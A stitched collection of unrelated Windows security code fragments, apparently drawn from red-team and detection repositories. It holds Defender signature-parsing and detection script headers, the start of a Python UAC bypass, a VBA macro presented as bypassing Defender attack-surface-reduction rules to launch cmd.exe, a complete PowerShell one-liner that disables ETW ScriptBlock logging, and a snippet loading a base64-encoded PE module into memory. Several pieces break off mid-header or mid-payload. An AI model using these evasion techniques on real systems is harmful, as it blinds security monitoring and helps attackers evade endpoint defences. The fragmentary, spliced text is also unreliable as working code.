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filter Expand-DefenderAVSignatureDB {
<#
.SYNOPSIS

Decompresses a Windows Defender AV signature database (.VDM file).

.DESCRIPTION

Expand-DefenderAVSignatureDB extracts a Windows Defender AV signature database (.VDM file). This function was developed by reversing mpengine.dll and with the help of Tavis Ormandy and his LoadLibrary project (https://github.com/taviso/loadlibrary). Note: Currently, "scrambled" databases are not supported although, I have yet to encounter a scrambled database. Thus far, all databases I've encountered are zlib-compressed.

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function Get-Doppelgangers
{
    <# 
    .SYNOPSIS 
    
    Detects use of NTFS transactions for stealth/evasion, aka 'Process Doppelganging'
     
    Author: Joe Desimone (@dez_) 
    License: BSD 3-Clause 
    

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function Get-ClrReflection
{
    <# 
    .SYNOPSIS 
    
    Detects memory-only CLR (.NET) modules
     
    Author: Joe Desimone (@dez_) 
    License: BSD 3-Clause 
    

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# -*- coding: utf-8 -*-
# All credits go to CIA: https://gist.github.com/hfiref0x/59c689a14f1fc2302d858ae0aa3f6b86 (please don't hack me <3 :))
# This is trully a Always Notify UAC Bypass,cause it uses process enumeration to find elevated processes. Since you need administrative privileges to get TOKEN_ELEVATION,we look for processes with manifests that have <autoElevate></autoElevate> set to True.
from ctypes.wintypes import *
from ctypes import *
from enum import IntEnum

kernel32 = WinDLL('kernel32', use_last_error=True)
advapi32 = WinDLL('advapi32', use_last_error=True)
shell32  = WinDLL('shell32' , use_last_error=True)

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' ASR rules bypass creating child processes
' https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-exploit-guard/enable-attack-surface-reduction
' https://www.darkoperator.com/blog/2017/11/11/windows-defender-exploit-guard-asr-rules-for-office
' https://www.darkoperator.com/blog/2017/11/6/windows-defender-exploit-guard-asr-vbscriptjs-rule

Sub ASR_blocked()
    Dim WSHShell As Object
    Set WSHShell = CreateObject("Wscript.Shell")
    WSHShell.Run "cmd.exe"
End Sub

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#
# This PowerShell command sets 0 to System.Management.Automation.Tracing.PSEtwLogProvider etwProvider.m_enabled
# which effectively disables Suspicious ScriptBlock Logging etc. Note that this command itself does not attempt
# to bypass Suspicious ScriptBlock Logging for readability.
# 
[Reflection.Assembly]::LoadWithPartialName('System.Core').GetType('System.Diagnostics.Eventing.EventProvider').GetField('m_enabled','NonPublic,Instance').SetValue([Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0)

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$Domain = [AppDomain]::CurrentDomain
$DynAssembly = New-Object System.Reflection.AssemblyName('TempAssembly')
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('TempModule')
# Create a stub module that the in-memory module (i.e. this mimics the loading of a netmodule at runtime) will be loaded into.
$ModuleBuilder2 = $AssemblyBuilder.DefineDynamicModule('hello.dll')
$TypeBuilder = $ModuleBuilder.DefineType('TempClass', [Reflection.TypeAttributes]::Public)
$TypeBuilder.CreateType()
$HelloDllBytes = [Convert]::FromBase64String('TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAJNPvloAAAAAAAAAAOAAAiELAQsAAAQAAAAGAAAAAAAAPiMAAAAgAAAAQAAAAAAAEAAgAAAAAgAABAAAAAAAAAAEAAAAAAAAAACAAAAAAgAAAAAAAAMAQIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAOQiAABXAAAAAEAAAJgCAAAAAAAAAAAAAAAAAAA